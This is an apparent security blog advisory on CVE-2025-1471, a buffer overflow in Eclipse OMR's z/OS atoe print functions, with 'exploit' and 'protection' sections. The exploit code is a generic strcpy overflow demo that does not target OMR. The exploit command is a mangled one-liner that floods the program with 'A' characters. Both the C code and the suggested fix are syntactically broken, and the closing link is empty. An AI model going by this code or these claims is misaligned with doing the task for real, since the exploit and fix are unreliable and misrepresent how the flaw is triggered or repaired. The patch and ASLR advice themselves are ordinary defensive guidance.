Eclipse OMR, Buffer Overflow Vulnerability, CVE-2025-1471 (Critical)

How the Mentioned CVE Works:

CVE-2025-1471 is a critical buffer overflow vulnerability found in Eclipse OMR versions 0.2.0 to 0.4.0. The issue arises in the z/OS atoe print functions, which use a fixed-length buffer for string conversion. When the input format string and its arguments exceed the buffer’s capacity, a buffer overflow occurs. This can lead to arbitrary code execution, crashes, or data corruption. Starting from version 0.5.0, the buffer sizes are correctly calculated and validated, preventing such overflows. The vulnerability is particularly dangerous in environments where untrusted input is processed, making it critical to update to the patched version.

What Undercode Say:

Exploitation:

1. Exploit Code:

include <stdio.h>
include <string.h>
void vulnerable_function(char input) {
char buffer[64];
strcpy(buffer, input); // Simulated vulnerable function
}
int main() {
char exploit[128];
memset(exploit, 'A', 127);
exploit[127] = '\0';
vulnerable_function(exploit);
return 0;
}

2. Exploit Command:

Use a crafted input string exceeding the buffer size to trigger the overflow.

Example: `./vulnerable_app $(python3 -c ‘print(“A”128)’)`

Buffer Overflow Exploitation Guide

Protection:

  1. Patch: Upgrade to Eclipse OMR version 0.5.0 or later.
    Download: Eclipse OMR GitHub

2. Mitigation:

  • Use secure coding practices to validate input sizes.
  • Implement stack canaries and address space layout randomization (ASLR).

3. Code Fix:

Replace fixed-size buffers with dynamically allocated ones:

char buffer = malloc(input_length + 1);
if (buffer) {
strncpy(buffer, input, input_length);
buffer[input_length] = '\0';
}

4. Protection Command:

Enable ASLR on Linux:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

5. Protection URL:
